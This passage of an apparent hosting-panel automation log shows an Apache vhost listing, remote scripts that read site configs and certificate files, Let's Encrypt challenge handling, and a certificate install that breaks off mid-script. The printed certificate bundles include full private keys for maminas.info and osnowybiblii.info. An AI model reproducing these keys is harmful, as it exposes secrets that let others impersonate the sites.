         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-26 06:00:17: 

PUT: /tmp/pkp471695

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/maminas_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-26 06:00:17: 

chmod 755 /tmp/pkp471695; /tmp/pkp471695; rm /tmp/pkp471695

2025-11-26 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/maminas_www_info.conf	1355

<VirtualHost *:80>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_error.log
    SetEnv pkp_uid	56
    SetEnv pkp_owner	maminas
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	maminas.info
    ServerAlias	www.maminas.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt
    DocumentRoot	/var/www/maminas_www
    <Directory /var/www/maminas_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/maminas/www_secure_access.log combined
    ErrorLog	/var/log/apache2/maminas/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-26 06:00:17: 

PUT: /tmp/pkp798223

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-26 06:00:17: 

chmod 755 /tmp/pkp798223; /tmp/pkp798223; rm /tmp/pkp798223

2025-11-26 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt	5365
42:cc:7b:8e:18:05:4f:db:b7:64:90:6b:ba:ff:e5:5e

-----BEGIN CERTIFICATE-----
MIIFBTCCA+2gAwIBAgISBpCWxdiMIsHTWpTDlOXPPeuRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTI2MDUwMTQ1WhcNMjYwMjI0MDUwMTQ0WjAXMRUwEwYDVQQD
EwxtYW1pbmFzLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDE
qItr9hmwfCzlxgnFcaKR+mhkYoQKet1QjUp/e3vvJR88eocn7LaHWY0K1CTVVscA
8cSktXLpbBTXCHAt18h9iFD61r7Vz9ErmQFiMQM+GkGT0zZD5Eweo5VDB/P9N+//
NItZfz8Dp1CqqtQd3Hmsy2IHUVCKQy4hYplbPKzgOF/dSghQaJsdO+4C89wDiaWC
5nJZSAYj39zb0sXNJHMnpf3sWmDUXtyWeOLM7FdqTNd8lFsEF8RXefWeB0r9Y0f0
pLIdjIhXpq4A2xvqYWtzxudhufHJxFJg4W3cUhkEfdNe0WEWf+UeeiOtXsx7XZmM
J8DrpxpsMbSZhrA0XM4hAgMBAAGjggItMIICKTAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFGQV6rZBt9oz9kcvZafl3H8oA/dbMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMbWFtaW5hcy5pbmZvghB3d3cubWFt
aW5hcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTguY3JsMIIBAwYKKwYBBAHWeQIEAgSB
9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGavr+K
zwAABAMARjBEAiAGVEfxJ3moNdNzCh/lGI3T3y3AhYzn0ICKPge1tdmRCAIgSJCs
hTWz9UBaTKm2J7sntinicIiXLI9VAwMasBm7oYIAdgCWl2S/VViXrfdDh2g3CEJ3
6fA61fak8zZuRqQ/D8qpxgAAAZq+v4s+AAAEAwBHMEUCIQDBBcYpppUjnCXkVVqK
ICaufFV08xfvUVkraHmrbg9uTAIgKQlbLMl1/c6eR6ThfdfrJNBTJQAiyiIIamBp
V5q01HMwDQYJKoZIhvcNAQELBQADggEBAISAzaqF+Rdtfhg0s1zLUOrDcB94oOzF
5gTdfuuqTRiflLomYg+yU9iSxrTn8x0rpLkWjkOOz9EPo/+1vr5myyQWX24Z16vg
fGWuDaWnhUiU7Qa20Xn9gC+wTA1RToGSgDetNzGZ5hOyok2oPYP2f2vSdsbrk+i7
HgozZDZ10Tq8HwMk3BiHiAQibZ+do+8Z6ADvhWRHxyYKOyi9mGXQYh3TEEyowgYu
RMGS/voj5eyJyZPjpx+rY2mnr9bYYbYz+T0LADUdPYRlyhAqlkHm4Nf6syWPae9K
5b75i0aAk4T4FIvrIm9pa/seK4Frgy60VliEckCTp02lVIJMr2LePyI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDEqItr9hmwfCzl
xgnFcaKR+mhkYoQKet1QjUp/e3vvJR88eocn7LaHWY0K1CTVVscA8cSktXLpbBTX
CHAt18h9iFD61r7Vz9ErmQFiMQM+GkGT0zZD5Eweo5VDB/P9N+//NItZfz8Dp1Cq
qtQd3Hmsy2IHUVCKQy4hYplbPKzgOF/dSghQaJsdO+4C89wDiaWC5nJZSAYj39zb
0sXNJHMnpf3sWmDUXtyWeOLM7FdqTNd8lFsEF8RXefWeB0r9Y0f0pLIdjIhXpq4A
2xvqYWtzxudhufHJxFJg4W3cUhkEfdNe0WEWf+UeeiOtXsx7XZmMJ8DrpxpsMbSZ
hrA0XM4hAgMBAAECggEBALsMDEANfXWtRg7uA9E2Oghagfwo76oAHoxFNvx1+PUG
++TMLc09iobGGC6ahMYdmX4+dmiq5Lc7w76bGgegW+N6Snuq0SwQU8UB7Jz2PT1O
P91YYR7F/9iMgqWU5O6Ny8mSso/XRZo2A7WwcbxNPbWqZHzNTKuVJkU+wNpUpaFE
kqFKI+nrutq2Dbu0fk9vLve5fg4DuQFskU2jUCDGzhvSeDf0U2WHoYPVTGPszTSH
zznlcQOgqXVSqX64yggpX36rYhs6eH5pZFP/pw8TTNXBvmGM0u8aCEC9y5pHE3Rn
Q+DYAaX5HLMJh5YgNsn2S89CwzhQmSdGTQcIgSTrJqECgYEA4n4FASQB4bbZA/v5
t96XVjOWqwPFQA77BKJphlorAecQdg5UcAzBfIkFA5/27B3pDrNXBmecxEZCXape
l2hdRE6jDuunVQPsbLmIZQEbfhND4F9lMW6bJ47Af3hnmHuBnR47Xh6AnhH+Ip6a
MZDG+wZF7eMbOPlLq7WhLIL5XWUCgYEA3keBABfHIGhYg37EN6kgFXCTYRcpIdd2
7KJ/A/KngYVyRMZsNIk+Nr9aMcj/9gY3CVTa8yyxF4z1Mqt1WHqRuXYK1XHL4vvu
OIRX940MBS0hzMSRAYZacdFfbcDgkIFAx5qAyxT/Pe5KGkaIS6kYW33pkWimF9db
FJKwP0H90A0CgYEAsTz2g5b+1ff1STXki6tneDB0pi0ULXXLnyvNMjLbVujPq+K4
1tpUizTaNKT4YHtjhnp3Dm8EcV+dzZhl30vvOGXlGeb1EgU4/TgO8SN1tSo0Qp/E
G3O3fLQsFVROlTeJDT+8K4HpGklwOv0sIr9txsB49phzFBmZyqwejSuNIjUCgYEA
r/kT26r3bmStjozRcu9mAxM42minm68k63pJ7CozCotHR8N+7qiopFchZMCoQ3Hw
KGcRX+tF2Esz44VyRTXkIFufgBOzQmQI2J2NtuHnXkG4vI/x7K8c83a6gf1sy3pI
er2KsTxSRglciSjFxoB8VBJ+0ytyMvW/ma338lygQBECgYBem1FHi1iTh/vz7++S
wiDdFZC419FiRXqVySyUgJAHVGGLCu75zGhsQAve2hk5Pk0JdGLKqa7zC+j7SBSN
cFHTVQuhERNrsoOQlyE6/9Pr8BM0ZcvGU5j4g/g9d2WWLy7WXUxZGmDHwcsSnPwB
FNDz2mzYBnCO878arr52S5LItg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-26 06:00:17: Establishing a connection
2025-11-26 06:00:18: Establishing a connection
2025-11-26 06:00:19: 

PUT: /tmp/pkp818032

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-26 06:00:20: 

chmod 755 /tmp/pkp818032; /tmp/pkp818032; rm /tmp/pkp818032

2025-11-26 06:00:20: 


0


2025-11-27 06:00:02: Establishing a connection
2025-11-27 06:00:03: Establishing a connection
2025-11-27 06:00:03: 

PUT: /tmp/pkp226706

#!/bin/bash
if [ -d "/var/www/osnowybiblii_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-27 06:00:03: 

chmod 755 /tmp/pkp226706; /tmp/pkp226706; rm /tmp/pkp226706

2025-11-27 06:00:03: 


1


2025-11-27 06:00:05: Establishing a connection
2025-11-27 06:00:05: 

PUT: /tmp/pkp952714

#!/bin/bash
mkdir -p "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cat > KQtdIJJrNkrExs4ArKjav2lUduJNDecUbA5d_LNZq_I <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KQtdIJJrNkrExs4ArKjav2lUduJNDecUbA5d_LNZq_I.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KQtdIJJrNkrExs4ArKjav2lUduJNDecUbA5d_LNZq_I
cat > 3O_icFq4Uy0of-cs9Az2iTL_53G7f8_g5Wyeq_BDr1w <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3O_icFq4Uy0of-cs9Az2iTL_53G7f8_g5Wyeq_BDr1w.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3O_icFq4Uy0of-cs9Az2iTL_53G7f8_g5Wyeq_BDr1w


2025-11-27 06:00:05: 

chmod 755 /tmp/pkp952714; /tmp/pkp952714; rm /tmp/pkp952714

2025-11-27 06:00:05: 




2025-11-27 06:00:15: Establishing a connection
2025-11-27 06:00:15: 

PUT: /tmp/pkp737170

#!/bin/bash
mkdir -p "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
rm KQtdIJJrNkrExs4ArKjav2lUduJNDecUbA5d_LNZq_I
rm 3O_icFq4Uy0of-cs9Az2iTL_53G7f8_g5Wyeq_BDr1w


2025-11-27 06:00:15: 

chmod 755 /tmp/pkp737170; /tmp/pkp737170; rm /tmp/pkp737170

2025-11-27 06:00:15: 




2025-11-27 06:00:15: Establishing a connection
2025-11-27 06:00:15: 

PUT: /tmp/pkp801112

#!/bin/bash
temp_file=$(mktemp)
TARGET=0e3e734dd08e3f9fefca36cd65718d9b.crt

cat > $temp_file <<'endmsg'
c1:9a:ab:f5:2b:d5:d7:ba:ab:fa:30:b2:2f:a9:8c:bb

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBTfy1K2G9PeqiT9/cS2QVOKIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTI3MDUwMTQ0WhcNMjYwMjI1MDUwMTQzWjAcMRowGAYDVQQD
ExFvc25vd3liaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAOPHVgEcj/HK4CPuUxbgOgg1vznZEIANWcWXig1569QD6Bd/ahiqLqGTrKKh
pxePDw3MlmwNI95fbb9pZNzisoyrG/6UysXLFjeKCXe1eZSq7eZP/OxFJRJUs8j7
yLWfcKpvDhYuXlArdPSRW1O66GJ2Q8s4Z8hepskXuC/nxKc64dkKrC81iCThTfxi
lGXXxQx1zqq06R7KGTBnMigg6pd56EUNC+7uLEfCRnO2SXp4gzxfLJQVetGb4jxf
HcsRNH/sZEouFj2DAP/ATEryJY9rzY6QMHIBc7ZJwGmm3O2kaE78yKCsrOvthD97
LfSHO4rDW++UukmRFEeiqPyOSAsCAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU+Jqb/1qgzn838EteoRm4RzOYRtkwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFvc25vd3liaWJsaWkuaW5m
b4IVd3d3Lm9zbm93eWJpYmxpaS5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0G
A1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOS5jcmwwggEF
BgorBgEEAdZ5AgQCBIH2BIHzAPEAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWF
sMsUwxRY5wAAAZrD5eWDAAAEAwBIMEYCIQCiu04EvJ0jasZrepayBUtJeEEZgzyH
x0zuPT+u7+XO+gIhAIS4/wHHJo3Hv8tG9Vx2V1cBOi8yaYOYckXGegtMt8AQAHYA
DleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGaw+XlWwAABAMARzBF
AiEAi8bEYb4nX+tYopz4Q9AepCiXJLSES4S6cyDSj6AOoh0CIHoF36YWplqHC7Jy
BfOwLcZJty7g74fMusFun0pG9VwfMA0GCSqGSIb3DQEBCwUAA4IBAQAubabMSKVs
7j7rgTcjUKYFbua1G8BZcm2Z6uMeXfadWHUXo1r7V1Vaix8DrZ9uRZMi2F5mWXlo
i+/Mp5v69ENjx4+2NlWNDkdQzoHXCoStczHiDsnSG0Q/SaAd5svGHzU8uJKm0DZH
22NW0eCwSdvaDre5vQtF45OPfsNyKb6PcKlj6hTk428M4f6GVy9Z8I5vK92Y19Ag
VzaXtm7FKki8uJLpV9tPLmcZiMq+LlytDNyj+K1MgA4S7qZ0cTdXgHoGSMiGICb3
7s93d6QlFC2UwLp9QPNAaZU7QDxX449qngqTGK6QSIYGEBEe/GLwh2K3acyZMyIo
4akeA2VcCMu3
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDjx1YBHI/xyuAj
7lMW4DoINb852RCADVnFl4oNeevUA+gXf2oYqi6hk6yioacXjw8NzJZsDSPeX22/
aWTc4rKMqxv+lMrFyxY3igl3tXmUqu3mT/zsRSUSVLPI+8i1n3Cqbw4WLl5QK3T0
kVtTuuhidkPLOGfIXqbJF7gv58SnOuHZCqwvNYgk4U38YpRl18UMdc6qtOkeyhkw
ZzIoIOqXeehFDQvu7ixHwkZztkl6eIM8XyyUFXrRm+I8Xx3LETR/7GRKLhY9gwD/
wExK8iWPa82OkDByAXO2ScBpptztpGhO/MigrKzr7YQ/ey30hzuKw1vvlLpJkRRH
oqj8jkgLAgMBAAECggEAFGNBNXRDBhdsnIq2cTO8vgNhjGH7chq/0EnSF4a0LxPy
cDf9XRvOdLPtHdluRVOOu2N2i1FZxouwHRPn7UV1SdX++XiD9dRJtsrqMgbSTRZH
mPfL4bIGsW9XcEPpISiWQwsRrbaUxoQ9Qa7JB+OQ7U88njH8SBkAwLsYx2DtXzJg
vAh47bNWNoy6PwogHw36u1EkwqK3IMuIk2+V7RDPkSozw7pObd3h8cb+BExTZ4ND
7q6A3HJrwb2eT4Hjwx+IdH3ypbwVHC2ITlc6BUpZOwXL8PymBCiQ9z7JX0CjBtZP
k3jggu34Wfj1x6XKsN8J0tN3I1GRVD8trbgy7OV04QKBgQD/vSQRmutS+ftNYrKB
ZveoC/EItWSxyIKqfNj7gIxVqQrJCMMBw+UJT3LCYP4jcz4nUHuQa3MX1hAH//qj
RgffoV96XF4DD2U/fPWZ7/PZErAoCLDGzSnH039VqyNKU+GWg3/et2dzyCnT1e2w
macuX5LLYTsdFu3E4HjCYWpMAwKBgQDkAuKiVwGBSHI7FwJrGX4EVO0o8kgFm3cd
v4GV2f9jWxxsvtxn5vEOCXbjrbfmUaadH7dKVVq3/SUIAppGzdxmPMxRjByVvl3M
3PmjlQUr3vfqtDGtKlwHtykBIWehSX1pag+MnVBAj60BpVwpAtGelmdhNvMHV3L1
dnGIHk9JWQKBgBg/kNnyfHmjpkZSI2bNopHWgAY5XNDWmD0eFVzTdXrxykoBgKv8
LQ1S8SipFa+6z5ver7ij14fdDiwUA2nTzA9SN8FcXLWhkhIRASCVdeOROA6ztD9F
WL7PuPUggvobNfqVgVxWu4Jo6j5hvGXQS9/DxCFwmLBLakQOnKSho/iNAoGBALZc
mGa+r7V2++XGwWhnOyK7yfK11GSnst1YDYyMjnYoqNNQ03dGfgV8DFqM1kifhWKl
uzL4kVYWYUfGzR1UCLK8ba3LIhGh7+Op2P+8cCZmbmKJPDIDbxe8pk8BKKEW5fcp
nMYaC9WXFAf8+XjTiFQOdyCJklaM2qT31lXH6CIBAoGAa2WOGEjaNavrWiJIensM
srdtO6Y/Ud77B6t9Sel7MrOGkrg2XvoM3GIKSWV1EMtTzlzFNfDxpi+EmFfYmeTb
H3Ayo2xUvEKFwOxFDfw9t5b3nYfIHVTnPtA1GmtURfQZd2CGdisH65wh72rTojNZ
mQYlW+13w1QGx/ijsaVq7tk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
